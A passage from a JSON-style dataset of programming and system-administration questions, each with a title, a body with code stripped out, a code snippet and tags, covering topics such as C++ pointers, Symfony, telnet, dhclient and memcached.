can be redirected to the rest of site. In other terms if they don't complete
profile information they can't continue to use the site so all action stick to
the .\nWhen they complete profile information they can access and use the whole
site.\nThank you.\n", "tpl-edit-profile.php", "users registration profiles wp-
redirect"], "4841077": ["MP3 audio bye array help - c#", "So I made a great demo in
Flash before that utilized Sound.Extract to get audio data from an mp3 in the form
of a byte array. I'm trying to port it over to C# but I'm running into a bit of a
problem. \nI am reading byte data into a but it does not match the Flash results I
got. I've commented below on what I thought it was previously and I think it's
because the MP3 might be in Big Endian and (which I use later on) uses Little
Endian. I will post an update/answer to the question when I implement this change.\
n\n", "byte[]", "c# mp3 id3 taglib-sharp"], "5659248": ["How to change a bundle
name in symfony 2", "My bundle is located at and the logical name of the bundle is
.\nSince I did not stick to the naming convention of the company I have to change
the logcial name of the bundle. Lets asume I have to rename it to \nWhat files do I
need to change?\nI tried renaming the file and the containing class into . I also
changed the reference in AppKernel.\nUnfortunately this does not work. When I try
to clear the cache I get this error message:\n\nThis two services do belong to the
bundle with the new name. This leads me to the conclusion that I'm missing
something in the renaming process.\nAny ideas?\n",
"src/Cinergy/Bundle/ComponentBundle/CinergyComponentBundle.php", "symfony2 bundle
rename"], "2451728": ["filesystem for archiving", "I have some complex read-only
data in my file system. It contains thousands of snapshots of certain revisions of
a svn repository, and the output of regression tests. Identical files between
snapshots are already de-duplicated using hard links. This way, the storage
capacity doesn't need to be large, but it still consumes a lot of inodes, and this
makes fsck painfully long for my main file system.\nI'd like to move these data to
another file system, so that it doesn't affect the main file system too much. Do
you have suggestions? Squashfs seems to be a possible choice, but I'll have to
check if it can handle hard links efficiently.\nThanks and regards.\n", "",
"filesystems hard-link archive"], "1845081": ["How to have buildbot running a
server and retrieving output after tests", "I'd like to run integration tests
against a running server and retrieve server output to check it later.\n", "",
"integration-testing buildbot"], "3950779": ["Pointers, polymorphism and
segmentation fault in C++", "I have a Parent class with a number of children. Each
function in the Parent class is pure i.e. there are no parent implementations of
the functions but the children have their own implementations. No need to post
code there - standard stuff.\nI don't want people creating direct instantiations of
the parent class from anywhere. I have safe-guarded against this by having the
virtual functions being pure so that's fine.\nMy problem: Depending on a user's
input (a string), I want to instantiate one of the children. I only know which one
at runtime. My (incorrect?) idea was the following which compiles fine and works
fine until I put the code into a function and return the parent. \nSo this works:\
n\nbut this does not work:\n\nWhen I say it doesn't work I mean, it compiles but
then I get a segmentation error when I do this:\n\nI'm sure it's a stupid/simple
question about me not fully understanding pointers??? Well after reading all about
them in books/articles, I still don't know what I'm doing wrong.... It's probably a
one-line fix?\nThank you :).\n", "Parent* parent;\nif(user_input == \"A\") {\n
Child1 child1;\n parent = &child1;\n}\nelse if(user_input == \"B\") {\n
Child2 child2;\n parent = &child2;\n}\n", "c++ segmentation-fault"], "4379609":
["Command to prepend string to each line?", "Looking for something like this? Any
ideas?\n\n", "cmd | prepend \"[ERRORS] \"\n\n[ERROR] line1 text\n[ERROR] line2
text\n[ERROR] line3 text\n... etc\n", "shell"], "355214": ["Rails will_paginate
routing caching duplicate pages", "I use the will_paginate plug-in. \nIn oder to
generate routes that I can cache ( instead of ) I added the following to my
routes.rb:\n\nThe first line redirects to using a redirect controller, to avoid
having a duplicate page. \nIs there something wrong with the way I set up the
rule? \nI thought adding would ensure that without a parameter should not work,
but is getting cached. \nHow can I redirect to to avoid having both and ?\
nThanks\n\nUPDATE\nI simply added \n\nAnd I'm not getting duplicate pages anymore.
\nHowever, I still don't uderstand why I was getting . Any explanations or
suggestions on how to make this rule more succinct are welcome ;)! \n\n",
"/posts/index/2", "ruby-on-rails url-routing will-paginate"], "3509217":
["Validation on TextEdit boxes on android", "I wounder if there is some different
way of validating EditText on android controlls.. \nOr should I use the regular
java way of doing this?\n", "", "java android eclipse validation"], "2737427":
["Ignore folders in solution compare with Beyond Compare", "I am trying to compare
two large Visual Studio 2010 solutions using Beyond Compare. These solutions have
60 projects, the only way I can find to ignore differences in the bin and obj
folders of each project is by right-clicking these in the compare results window.
I don't want to have to do this 60 times, so is there any other way I can tell
Beyond Compare to ignore these folders in each solution?\n", "", "visual-studio
beyondcompare beyondcompare3"], "3075287": ["Problem local/online version website,
not loading scripts properly", "Working on a site, adding some jQuery elements and
plugins that I used before without much problems and locally it works fine! But
once uploaded it does not do the same as it did locally. This is the first time
something like this happened to me and I was almost tearing my hear out (decided to
play some good old Starcraft II instead).\nAnyway, here is the site I am working
on, I can't really simulate the problem so if you want to help you might need to
look a bit.\nBut I'll try to explain the problem. The site is working very well
thanks to some great help of you guys, but I needed to add scrollbars to certain
div's with images in it. That would be the div with the 3 cute kitting images in
it. Now locally it works great,\nBut as you can see on the crollbars do not apear!
The problem is that a certain div is not created (which does get created locally).
The div #jspHorizontalBar which contains the scrollbar does not appear in the
code.\nI'm using the same plugin on this project of mine and it works great,\
nhttp://no-illusions.nl/keepmewaiting/\nBut on \n", "", "jquery loading"],
"3143300": ["Error bar ticks |--o--| don't draw for more then three conditions in
dotplot", "This question is an unexpected follow-up from Draw vertical ending of
error bar line
in dotplot. While the quoted question was succesfully resolved - there is a
caveat. When I introduce more then three conditions to dotplot it doesn't want to
draw the vertical ticks |--o--| in the endings of error bars.\nAs @Josh suggested
in the comments, I injected into first line of function that draws updated to see
what goes wrong, but it didn't come out with anything that helps me to solve it.
Here is an example code for four-conditions with updated function that doesn't
work. It will work, if you decrease number of conditions (check answer for the
question quoted above):\n\n\n", "browser()", "r plot lattice"], "4939831": ["Need
to clear the time from date picker string", "I need to cut off the time from the
datepicker data.\nwhen i try to set the date as a label, the time is also appending
to it. is there any way to cut off the time part from the picker data string.\
nplease help.\nThanks in advance.\n", "", "iphone time datepicker clear"],
"2428231": ["pyqt4 Button image doesnt appear in .app", "I create an .app using
py2app, and the GUI was made with pyqt4, and one of the buttons has an image on ti,
but when i run the app the image doesnt appear and when i run it on the terminal it
appears, how can I solve this?\nThank you in advance\n", "", "pyqt4 py2app"],
"6012954": ["html fluid tabular structure to present images", "I'm looking for a
neat way to present list of images in tabular structure.\nthe catch is, it needs to
adjust for low-resolution screens and window resizes (when the window is not
maximized). \nYahoo Images for example implemented it very well, though I'm
looking for something simple. \nHow do I implement this behaviour?\nthanks\n", "",
"javascript jquery html table web"], "687131": ["RPM to MSI wrapper?", "I was
wondering if any efforts have been made to create MSI files from rpm spec files or
if there are any good ports of RPM to Windows.\n", "", "msi rpm"], "5281432": ["How
can I use TabbedPane tab changes to diplay different Panels in an Applet built in
NetBeans IDE?", "I'm building a Java Applet in NetBeans that has a TabbedPane on
the bottom of the applet and a regular Panel on the top. I would like the top Panel
to switch depending on which tab is selected on the bottom. (I would attach a
screenshot to clarify, but being new here it isn't allowed.)\nA Button has
ActionPerformed, but a TabbedPane doesn't seem to have StateChange for each of the
seperate tabs (at least not readily visible in NetBeans).\nAny ideas?\n", "", "java
applet netbeans6.8 jtabbedpane"], "2107638": ["VB.NET Application does not fully
close", "When I launch my application, and press the \"X\" button on my app, or my
quit button which deploys: me.close It will not fully close the application. Like
the instance is still running in Visual Studio or if you go to task manager
processes you can still see it there. How would I get this to fully close?\nThanks\
nKevin\n", "", "vb.net visual-studio-2008 close terminate"], "4420491": ["Sorting
MultiValue data numerically OR alphabetically - LINQ to SQL and C#3", "I am having
a problem giving a LINQ predicate the knowledge it needs to sort either
alphabetically or numerically.\nI am working with a multi-value pivoted set of data
with has a sortable column. The column is always stored as varchar in the DB,
however, it has lookup knowledge of what that data type actually is. To simplify,
in addition to strings the column can contain integers.\nI have written a general-
purpose (and working) sorting predicate as follows.\n\nThe problem is that if my
sortable column contains numerical values (stored as varchar in the DB), I get\n\
nOf course, alphanumerically this is correct.\nAs I said, I know programmatically
the type of data (string or integer) for theSortProperty. I want to be able to
instruct the predicate to sort using alphabetical means OR numerical means. I see
no easy way to accomplish this, since my LINQ to SQL mapping declares that column
as [Column(Storage=\"_Value\", DbType=\"NVarChar(MAX)\",
UpdateCheck=UpdateCheck.Never)] \nYet I am sure someone must have seen this before
and can offer a suggestion. I should mention that NHibernate or other ORMs are out
of the question for me.....Thanks\n", "Func<MyObject, string> sortClause = p =>
p.MyObjectProperties.Find(s => s.Name == theSortProperty).Value;\n", "c# sql linq
orm sorting"], "5637590": ["Magento attributes - Disable HTML stripout", "When
setting up new attributes in Magento is it possible to disable the stripping out of
html tags in the attribute?\nThe reason I ask is that I would like to put some
product information in to an attribute but it needs formatting in a specific way,
if I try to paste any HTML formatting in the options it strips it out.\nI need to
be able to select something from a dropdown menu in the admin section then for the
frontend to show the formatted text relevent.\nAlternatively if there is a way to
call a specific static block depending on what attribute is selected that would be
great.\n", "", "magento attributes"], "2858594": ["Best Pattern For Adding
Commentary in align Environment?", "I've been using the align environment to line
up equations in proofs/explanations/etc and I like to place parenthetical
commentary for each step, similar to the code below:\n\n\\begin{align*}\n f(ax +
by) & = f(ax) + f(by) & (By Property 1) \\\\\n & = af(x) + bf(y) & (By
Property 2) \\\\\n\\end{align*}\n\\end{document}\n\nThe problem I have with this is
that the commentary completely distorts the overall alignment of the equation area;
far too much space is allocated to the column containing the commentary.\nI would
like, insofar as it is possible, for the equations themselves to be aligned in the
center of the page and for the commentary to simply appear on the right without
affecting the overall justification of the equations. What's the best way to
achieve this?\n", "\n\\documentclass{article}\n\\usepackage{amsmath}\n\\
begin{document}", "horizontal-alignment align"], "2957211": ["Does a vector
(container) need to use an \"allocator\"?", "I was looking into how custom
containers are created, such as eastl's container and several other models and I
see that they all use an \"allocator\", much like does with . Which got me
thinking, why do new implementations of a vector container use an allocator when
they typically have an underlying memory management override for and ?\n",
"std::vector", "c++ algorithm stl vector containers"], "5140288": ["Evaluate $\\
int\\frac{dx}{\\sin(x+a)\\sin(x+b)}$", "Please help me evaluate:\n$$\n\\int\\
frac{dx}{\\sin(x+a)\\sin(x+b)}\n$$\n", "", "homework calculus integral"], "436395":
["Memcache connects but doesn't respond to any command", "Setup:\nApache; PHP
5.2.9; libevent (for memcached it's required) version 1.3; memcached server version
1.2.2 (tried 1.4.5, 1.4.0, now downgraded to 1.2.2, no difference); memcached php
pecl module version 2.2.6.\nProblem:\nSimilar to unresolved problems cannot store
values into memcache and Super strange PHP error\nNone of those threads had
resolved issue and none of the authors of questions followed recommendations given.
I followed them all, and it still doesn't work.\n code doesn't show any error if I
am connecting via PHP, but as soon as I'm trying to execute any command (such as ),
I get the response: \n\nSolutions tried:\nConnecting to memcache via command line
is not working. After I type any command connection is closing.\n\nI tried to make
sure memcached was compiled with SASL support disabled.\nResponse: \"This server is
not built with SASL support.\"\nAlso, one of the comments was \n\nYou may be
running memcached without ASCII protocol support, such as if you ran:\n\nIf this is
the case, remove the argument entirely, and PHP and telnet should work.\n\nThe
memcache start line is:\n\nNo B argument in it. \nAny ideas?\n", "Memcache", "php
memcached ascii sasl"], "1468229": ["Add a literal column to a pivot table", "I
want to add a column of values to a pivot table as is. It would not be used in any
other calculations.\nI.E. add something like a satisfaction rating for a company in
an area to a table that sums up all the interactions with companies by location and
price.\nWhile I suppose it it would be possible to go back into the source data to
add this data as a new field, I do not know how to do that.\nWith regard to how
this column would behave when filtered, I would like to be tied to a binary primary
key (pretty sure that is not the right way to phrase it, but I mean that it should
be tied to the company and location), and insert the correct value when those
conditions are matched.\nIf there is an easier/more sensible way to do what I am
asking (and I am sure that is the case) I would happily take that instead.\n", "",
"microsoft-excel excel-2010 pivot-table"], "3001737": ["Windows 8 Disk Error
Checking", "Windows 8 has a new approach to checking the disk for inconsistencies,
and I'm confused about what I'm seeing.\n\nIn the properties dialog for I launch
the disk error checker.\nIt says I don't need to scan the drive, but I can check if
I want.\nGoing ahead with the check pops up a dialog saying:\n\n\nError Checking
(OS (C:)) - Repair this drive\nWindows has found errors on this drive that need to
be repaired. Close this dialogue box and then repair the drive.\n\nGoogle turns up
nothing on that message.\nThe only options I have are 'show details' and 'close'.
Showing details launches the Event Viewer, showing the Application log with no
entries in the list at all.\nHunting through the Administrative Events list I see
this entry as the first one since booting:\n\nNTFS - The default transaction
resource manager on volume C: encountered a non-retryable error and could not
start. The data contains the error code.\n\nThe data follows:\n\nI'm unsure that
these two problems are related. In fact, the reason
I'm trying to check the disk at all is that my Ubuntu (WUBI) is failing to boot,
and I suspect volume trouble. Someone on ubuntuforums suggested I chkdsk the volume
first from Windows.\nSo my question is, how am I to verify that the disk has no
errors when the tools are providing contradictory and unhelpful messages?\n", "C:",
"ntfs windows-8 chkdsk"], "1235158": ["detaching a sprite at a certain location in
andengine", "I am developing a Game using AndEngine. In that I want to detach
Sprites which have been dynamically attached into scene when an action occurs. How
to tackle it?..Suppose you have X and Y coordinate of the sprite. \nThanks in
advance\n", "", "android andengine game-engine"], "4752789": ["Modify html Meta
when using google app script ui service", "Is there anyway to add meta tags to html
header when creating a web app using the ui service on Google app scripts?\n", "",
"google-apps-script"], "2453402": ["How to keep moved (Added) image in the same div
in jquery?", "Hi all iam working on jquery here i have a html page. in the html i
have two div's in those contains\n right now we have to move(add) image to
another div which is empty div here i had done to (move) add\n image form first to
secound when image added to the secound div the images should be appear in the \n
same place in first div and also in the secound div i had done to image add to
secound div but images removes from the first div\n this is my code follows:\n\nin
the above code iam having 'icon-plus' button when i click the button it adding
image to the secound div but i need\n images should add and it shoul appear in the
same place also \nand this is my jquery \n\nCould anybody please help me to do
this?\n", "firstdiv", "jquery image"], "1248685": ["iReport 4.5.1 throwing
ArrayIndexOutOfBoundException", "Getting following error message while loading
iReport 4.5.1 new install:\n\n", "java.lang.ArrayIndexOutOfBoundsException: 3184\
nat sun.awt.shell.Win32ShellFolder2.getFileChooserIcon(Win32ShellFolder2.java:748)\
nat sun.awt.shell.Win32ShellFolderManager2.get(Win32ShellFolderManager2.java:248)\
nat sun.awt.shell.ShellFolder.get(ShellFolder.java:221)\nat
com.sun.java.swing.plaf.windows.WindowsLookAndFeel$LazyWindowsIcon.createValue(Wind
owsLookAndFeel.java:1873)\nat
javax.swing.UIDefaults.getFromHashtable(UIDefaults.java:185)\nat
javax.swing.UIDefaults.get(UIDefaults.java:130)\nat
javax.swing.MultiUIDefaults.get(MultiUIDefaults.java:44)\nat
javax.swing.UIDefaults.getIcon(UIDefaults.java:411)\nat
javax.swing.UIManager.getIcon(UIManager.java:613)\nat
javax.swing.plaf.basic.BasicFileChooserUI.installIcons(BasicFileChooserUI.java:237)
\nat
javax.swing.plaf.basic.BasicFileChooserUI.installDefaults(BasicFileChooserUI.java:2
19)\nat
javax.swing.plaf.basic.BasicFileChooserUI.installUI(BasicFileChooserUI.java:135)\
nat
com.sun.java.swing.plaf.windows.WindowsFileChooserUI.installUI(WindowsFileChooserUI
.java:126)\nat javax.swing.JComponent.setUI(JComponent.java:653)\nat
javax.swing.JFileChooser.updateUI(JFileChooser.java:1755)\nat
javax.swing.JFileChooser.setup(JFileChooser.java:366)\nat
javax.swing.JFileChooser.<init>(JFileChooser.java:341)\nat
javax.swing.JFileChooser.<init>(JFileChooser.java:300)\nat
com.jaspersoft.ireport.designer.options.IReportPanel.jButtonAddClasspathItemActionP
erformed(IReportPanel.java:2216)\nat
com.jaspersoft.ireport.designer.options.IReportPanel.access$2000(IReportPanel.java:
84)\nat
com.jaspersoft.ireport.designer.options.IReportPanel$27.actionPerformed(IReportPane
l.java:938)\nat
javax.swing.AbstractButton.fireActionPerformed(AbstractButton.java:1849)\nat
javax.swing.AbstractButton$Handler.actionPerformed(AbstractButton.java:2169)\nat
javax.swing.DefaultButtonModel.fireActionPerformed(DefaultButtonModel.java:420)\nat
javax.swing.DefaultButtonModel.setPressed(DefaultButtonModel.java:258)\nat
javax.swing.plaf.basic.BasicButtonListener.mouseReleased(BasicButtonListener.java:2
36)\nat java.awt.Component.processMouseEvent(Component.java:5501)\nat
javax.swing.JComponent.processMouseEvent(JComponent.java:3135)\nat
java.awt.Component.processEvent(Component.java:5266)\nat
java.awt.Container.processEvent(Container.java:1966)\nat
java.awt.Component.dispatchEventImpl(Component.java:3968)\nat
java.awt.Container.dispatchEventImpl(Container.java:2024)\nat
java.awt.Component.dispatchEvent(Component.java:3803)\nat
java.awt.LightweightDispatcher.retargetMouseEvent(Container.java:4212)\nat
java.awt.LightweightDispatcher.processMouseEvent(Container.java:3892)\nat
java.awt.LightweightDispatcher.dispatchEvent(Container.java:3822)\nat
java.awt.Container.dispatchEventImpl(Container.java:2010)\nat
java.awt.Window.dispatchEventImpl(Window.java:1778)\nat
java.awt.Component.dispatchEvent(Component.java:3803)\n[catch] at
java.awt.EventQueue.dispatchEvent(EventQueue.java:463)\nat
org.netbeans.core.TimableEventQueue.dispatchEvent(TimableEventQueue.java:104)\nat
java.awt.EventDispatchThread.pumpOneEventForHierarchy(EventDispatchThread.java:242)
\nat
java.awt.EventDispatchThread.pumpEventsForHierarchy(EventDispatchThread.java:163)\
nat java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:157)\nat
java.awt.EventDispatchThread.pumpEvents(EventDispatchThread.java:149)\nat
java.awt.EventDispatchThread.run(EventDispatchThread.java:110)\n", "jasper-reports
ireport"], "307487": ["What's the propper way to use Cursor Adapters and Content
Providers in android 2.2", "i'm confused and i need your help.\nI try to follow the
instructions given by Virgil Dobjanschi on his lecture 'Developing Android REST
Client Applications' given on Google IO 2010. Unfortunately, i can't find the way
to implement valid communication between Content Provider and Cursor Adapter.\nThe
problem i have here is linked with cursor adapter, so let's just assume everything
is fine with the content provider. For example, let's try using Contacts
ContentProvider instead of my own. I tried the simplest solution - any
ContentProvider (as assumed, Contacts, provided by SDK) and SimpleCursorAdapter.
The problem is that constructor of SimpleCursorAdapter containing the cursor from
Contacts is deprecated. Documentations says:\n\nThis constructor is deprecated.\
nThis option is discouraged, as it results in Cursor queries being performed on the
application's UI thread and thus can cause poor responsiveness or even Application
Not Responding errors. As an alternative, use LoaderManager with a CursorLoader. \
n\nMy thoughts were: \"Ok, i won't use it. I'll try LoaderManager with CursorLoader
instead, as they are advicing me.\" So i went to the LoaderManager documentation
site to find an example of use and what i found? Perfect example of using
SimpleCursorAdapter constructor. Yes, the same i wanted to avoid becouse of it's
deprecation.\n\nAll the tutorials i could find are using this deprecated
constructor. Can anyone provide me good answer what's the propper way to avoid
using this? Or maybe i care about it too much? All i wanted was to learn good
practices...\n", " // Create an empty adapter we will use to display the loaded
data.\n mAdapter = new SimpleCursorAdapter(getActivity(),\n
android.R.layout.simple_list_item_2, null,\n new String[]
{ Contacts.DISPLAY_NAME, Contacts.CONTACT_STATUS },\n new int[]
{ android.R.id.text1, android.R.id.text2 }, 0);\n setListAdapter(mAdapter);\n",
"android android-contentprovider simplecursoradapter android-cursoradapter android-
loadermanager"], "2139971": ["Sharepoint Dynamic navigation permissions", "I know
that this has been discussed on serverfault
before:\nhttp://serverfault.com/questions/87390/sharepoint-site-showing-up-even-
though-user-has-no-permissions-to-it\nKevin Davis was nice to chime in, but never
answered the question.\nSo without touching the NavNodes table and without using
some complicated C# code, how would one be able to either disable or simply not
show a navigation item if the user doesn't have the proper permission.\nThe dynamic
navigation is nice, but it's pointless to have an item from the navigation show up
if the user doesn't have permission to access the page in the first place. \nIs
there a way to setup permissions on the navigation itself? Or have it be aware that
the user cannot view the page that the navigation links to and thus is against
common sense to display it?\nAny help would be appreciated. The issue I'm currently
battling is the 'Parent' site link showing up when visiting a sub/child-site. The
user has access to the sub-site but not the parent site, yet the dynamic navigation
is showing that link.\nThanks!\n", "", "navigation permissions"], "5094512":
["Print margins in DOMPDF", "I'm trying to generate a PDF using DOMPDF.\nI have
some HTML which is then converted into a PDF.\nBut I have a problem. When I put an
object at the top of the page (e.g. an icon), in the PDF it's also show on the top
of the page.\nBut when I print the PDF there is a margin. I know that there has to
be a minimal margin, but in my case it's just too large.\nIs there some way to
control this margin in DOMPDF?\nI'm trying to reproduce an existing document and in
the original the logo is not on the top of the page (there is already a margin in
the PDF). But when I print it, it's located at the exact same position as in the
PDF generated by me (and there is no margin in the PDF).\nIs there somewhere a
print margin already set in the PDF?\n", "", "php pdf dompdf"], "3511138":
["Linearly ordered sets \"somewhat similar\" to $\\mathbb{Q}$", "\n$\\pmb{\\eta}$ -
order type of $\\mathbb{Q}$.\n$\\pmb{\\eta} + \\pmb{1}$ - order type of $\\
mathbb{Q}\\cap(0, 1]$.\n$\\pmb{\\omega_1}$ - order type of the first uncountable
ordinal. \n\nLet's say that a linear order type is q-like if every proper initial
segment of an instance of this type is order-isomorphic to $\\pmb{\\eta}$ or $\\
pmb{\\eta}+\\pmb{1}$. For example,
$\\pmb{\\eta}$, $\\pmb{\\eta}+\\pmb{1}$, $\\pmb{\\eta}\\cdot\\pmb{\\omega_1}$ and
$\\pmb{\\eta}+(\\pmb{1}+\\pmb{\\eta})\\cdot\\pmb{\\omega_1}$are q-like. \nQuestion:
How many distinct q-like order types exist?\n", "", "set-theory order-theory
ordinals"], "4905228": ["How to tell the amount of days from now until an NSDate?",
"How can I tell the amount of days from now until the date specified in my app?
Here is what I have so far, but it comes up with \"-30\" every time, no matter what
the date is:\n\n", "NSDate * selected = [DatePicker date];\nNSString * date =
[selected description];\n\nNSDateComponents *components = [[NSCalendar
currentCalendar] components:NSDayCalendarUnit \n
fromDate:DatePicker.date];\n\nCalLabel1.text = [NSString stringWithFormat:@\"%d\",
[components day]];\n\nNSDateFormatter *temp = [[NSDateFormatter alloc] init];\
n[temp setDateFormat:@\"dd/MM/yyyy\"];\nNSDate *stDt = [temp dateFromString:[temp
stringFromDate:[NSDate date]]];\nNSDate *endDt = [temp dateFromString:[temp
stringFromDate:[NSString stringWithFormat:@\"%d\", [components date]]]];\nunsigned
int unitFlags = NSMonthCalendarUnit | NSDayCalendarUnit;\nNSCalendar *gregorian =
[[NSCalendar alloc]\n
initWithCalendarIdentifier:NSGregorianCalendar];\nNSDateComponents *comps =
[gregorian components:unitFlags fromDate:stDt toDate:endDt options:0];\nint days
= [comps day];\n\nNSLog(@\"%i\", [comps day]);\n", "iphone objective-c ios xcode
nsdate"], "3673575": ["Problem With Internet Under Easy Peasy", "I have an Eee PC
904D that i use for development, because it's tiny and little, but i have a PC too.
But in my Eee PC that i have Ubuntu Intrepid Ibex with the Netbook Remix(Easy
Peasy), when i want to use the ethernet cable for the internet i connect it and
tryes to connect, but in aproximatly 10 secs trying to connect it fails and change
the icon like i don't put any cable, but the cable is connected and other computers
when i try to use this cable connect normally, if is needed here is the content
of /etc/dhcp3/dhclient.conf file:\n\nHere is the ifconfig log:\n\n", "#
Configuration file for /sbin/dhclient, which is included in Debian's\n# dhcp3-
client package.\n#\n# This is a sample configuration file for dhclient. See
dhclient.conf's\n# man page for more information about the syntax of this file\n#
and a more comprehensive list of the parameters understood by\n# dhclient.\n#\n#
Normally, if the DHCP server provides reasonable information and does\n# not
leave anything out (like the domain name, for example), then\n# few changes must
be made to this file, if any.\n#\n\nsend host-name \"<hostname>\";\n#send dhcp-
client-identifier 1:0:a0:24:ab:fb:9c;\n#send dhcp-lease-time 3600;\n#supersede
domain-name \"fugue.com home.vix.com\";\n#prepend domain-name-servers 127.0.0.1;\
nrequest subnet-mask, broadcast-address, time-offset, routers,\n domain-name,
domain-name-servers, domain-search, host-name,\n netbios-name-servers, netbios-
scope, interface-mtu;\n#require subnet-mask, domain-name-servers;\n#timeout 60;\
n#retry 60;\n#reboot 10;\n#select-timeout 5;\n#initial-interval 2;\n#script
\"/etc/dhcp3/dhclient-script\";\n#media \"-link0 -link1 -link2\", \"link0 link1\";\
n#reject 192.33.137.209;\n\n#alias {\n# interface \"eth0\";\n# fixed-address
192.5.5.213;\n# option subnet-mask 255.255.255.255;\n#}\n\n#lease {\n#
interface \"eth0\";\n# fixed-address 192.33.137.200;\n# medium \"link0 link1\";\
n# option host-name \"andare.swiftmedia.com\";\n# option subnet-mask
255.255.255.0;\n# option broadcast-address 192.33.137.255;\n# option routers
192.33.137.250;\n# option domain-name-servers 127.0.0.1;\n# renew 2 2000/1/12
00:00:01;\n# rebind 2 2000/1/12 00:00:01;\n# expire 2 2000/1/12 00:00:01;\n#}\n",
"linux ubuntu networking internet home-networking"], "4811708": ["Telnet send Ctrl-
C", "I use telnet to connect to a terminal server, which proxies the traffic to a
RS-232 port.\nUnfortunately when using some of the devices it is not possible to
send the ctrl-C character (0x03). Instead of transmitting the character, it seems
like the local client has catches the keystroke, and I'm left in \"some-other-
mode\". What I wanted was just to send a character.\nTo debug this I have been
playing around with:\n\nand\n\nHere is what happens when I press Ctrl-C on a
terminal server which does not work:\n\nHere is what happens on terminal servers
which do work:\n\nI have tried 'toggle localchars' but it did not make any
difference.\nI have also tried 'mode character' which allowed me to send the ctrl-C
character, but here I did not get any output back from the device.\nHow can I
configure my telnet client to solve this?\n", "^] toggle termdata\n", "terminal
signals terminal-emulator serial-port telnet"], "329748": ["How to instruct linux
not to swap out hot pages of mmaped files?", "I have a server where I run worker
processes that mmap serveral rather big read-only \"dictionary\" files (~8GB
total). Tests showed that they actively access only around ~1GB worth of the pages
in these files. On the same server I run another process that sequentially reads a
huge file, merges some updates to it and writes the result in a new version of this
huge file. There in no other major activity on the server besides this \"merger\"
process and \"worker\" processes. So normally the workers should be CPU-bound and
the merger should be disk-bound. But what I see is that the workers are constantly
choking on major page faults. The merger uses around 20GB of RSS and the machine
has 48GB. There are 4 workers. They have 2GB RSS each and only 600MB shared
(instead of expected 1GB of hot pages). Somehow rest of the memory is mostly used
by fs cache. Is there a way to \"prioritize\" the hot pages of my mmaped files into
memory?\nI tried madvise(MADV_WILLNEED) but it doesn't seem to help. Maybe there is
a solution with cgroups or sysctls?\n\n$ free\n total used
free shared buffers cached\nMem: 49324064 48863392 460672
0 22520 25409896\n-/+ buffers/cache: 23430976 25893088\nSwap:
0 0 0\n\n$ uname -a\nLinux dev-kiwi02 3.2.0-25-server #40-Ubuntu
SMP Fri May 25 13:12:35 UTC 2012 x86_64 GNU/Linux\n\nP.S. Asked this on
StackOverflow already but looks like ServerFault is more appropriate.\n", "",
"linux cache swap"], "2442591": ["Square root of BigDecimal in Java", "Can we
compute the square root of a BigDecimal in Java by using only the Java API and not
a custom-made 100-line algorithm?\nThank you\n", "", "java root bigdecimal
square"], "3035696": ["Ads opening up in Internet Explorer automatically", "\
nPossible Duplicate:\nWhat to do if my computer is infected by a virus or a
malware? \n\nI have some bug or virus I guess wherein ads are getting opened in
Internet Explorer automatically.\nWhy is this happening? How do I stop it?\n", "",
"internet-explorer virus ads"], "2747094": ["\"CFBundleVersion must be a string\"
from OS X dashboard", "While developing my dashboard widget, I looked at the
console (system logs) and found that an error message:\n\nThe property is marked as
type string in Info.plist. I've tried changing it from a 1.2 number to a series of
letters (can't be mistaken for number) and also following apple's versioning
guidelines. No mater, what, I get this error every time.\n", "2009-03-06
22:08:35.244 Widget Installer[3874] CFBundleVersion must be a string\n", "widget
dashboard"], "3596324": ["ObjectiveFlickr & Xcode 4.5.2", "I'm attempting to
integrate ObjectiveFlickr into my project - everything seems to run fine, however
as soon as I execute the following:\n\nI get an exc bad access error. I've been
trying to figure this out for a while and any help appreciated.\n", "[request
callAPIMethodWithGET:@\"flickr.photos.getRecent\" arguments:[NSDictionary
dictionaryWithObjectsAndKeys:@\"1\", @\"per_page\", nil]]\n", "objective-c ios6
xcode4.5 objectiveflickr"], "4841072": ["WPF Ribbon Multiple Comboboxes in same
Group", "I have multiple RibbonComboBoxes in one RibbonGroup and I keep having
anything but the very first RibbonComboBox not return null on me. It doesn't seem
to be finding any other ComboBoxes in the group for some reason. \nI have a Ribbon
Group, then a separate RibbonComboBox for each combo box I need. These also live
inside of a grid. Any ideas?\n", "", "wpf ribbon"], "4811709": ["Finding a force
function from bodies in equilibrium", "(This is an edited version of the original
question, since I'm starting a bounty)\nI'm trying to find a function $y$ from
given data. Reverse optimization, so to speak.\nSay we have two (two-dimensional)
bodies $A$ and $B$ of known (but arbitrary) shapes at known positions relative to
each other. There are forces of attraction and repulsion between the two bodies,
but I only know that the bodies are in stable equilibrium. If I
understand \"equilibrium\" correctly, that means that the total force is zero and
the total energy is minimized (or is that wrong to begin with?).\nLet's assume we
suspect that the force between two differential elements in the bodies (one element
in one body, the other one in the other body) is given by a function $y({\\bf r})$.
${\\bf r}$ could be the coordinates of the elements $[x_1,y_1,x_2,y_2]$ or more
complicated things, but let's assume it's simply the distance between the elements
for now. The total force between the two bodies would then be:\n$$ \\int_A \\int_B
y(r) \\: dA \\: dB$$\nIf have a couple thousand of such equilibrium configurations,
with known body shapes and known body positions is there any way for me to find out
what the function might look like? With actual, discrete data, and descriptions of
the bodies -- can I get a numerical approximation somehow? E.g., is there a way to
turn this into
a system that can be least-square-approximated, for example?\n", "", "analysis
numerical-methods calculus-of-variations"], "5939683": ["How can I iterate over
java Iterable using RichFaces 'repeat' tag?", "In Java, I'm able to use for-loops
to iterate over ArrayLists or Iterables. In RichFaces, I can use the
facelet \"repeat\" tag to iterate over ArrayLists, but not Iterables. The error
messages I get from using an Iterable are that the attributes or methods of the
items in the Iterable cannot be found. How should I code an Iterable so that
RichFaces sees the items in it as their proper class, just as Java itself does?\n",
"", "java jsf iterator richfaces"], "3503555": ["Prompting and Acting on Response
in vim", "I have vim set up to save empty files automatically when I create one:\n\
nAnd, I have the fugitive plugin for git installed. In fugitive :Gwrite will add
the current file to git if necessary, and stage the changes to be committed.\nWhat
I would like to be able to do, is what PHP Storm does. If I add a file, it prompts
me and asks me if I want to add it to git as well. So, ideally, I would like to
type :edit some_new_filename, have it create the buffer, save the file, and then
prompt if I want to add it to git. If I say yes, it should add it, and if I say
no, it should not.\nI have not seen any examples of prompts and responses in vim;
so I honestly don't even know if it's possible. Is it, and if so, will you please
help me with the syntax?\n", " autocmd BufNewFile * :write \n", "vim"], "5375488":
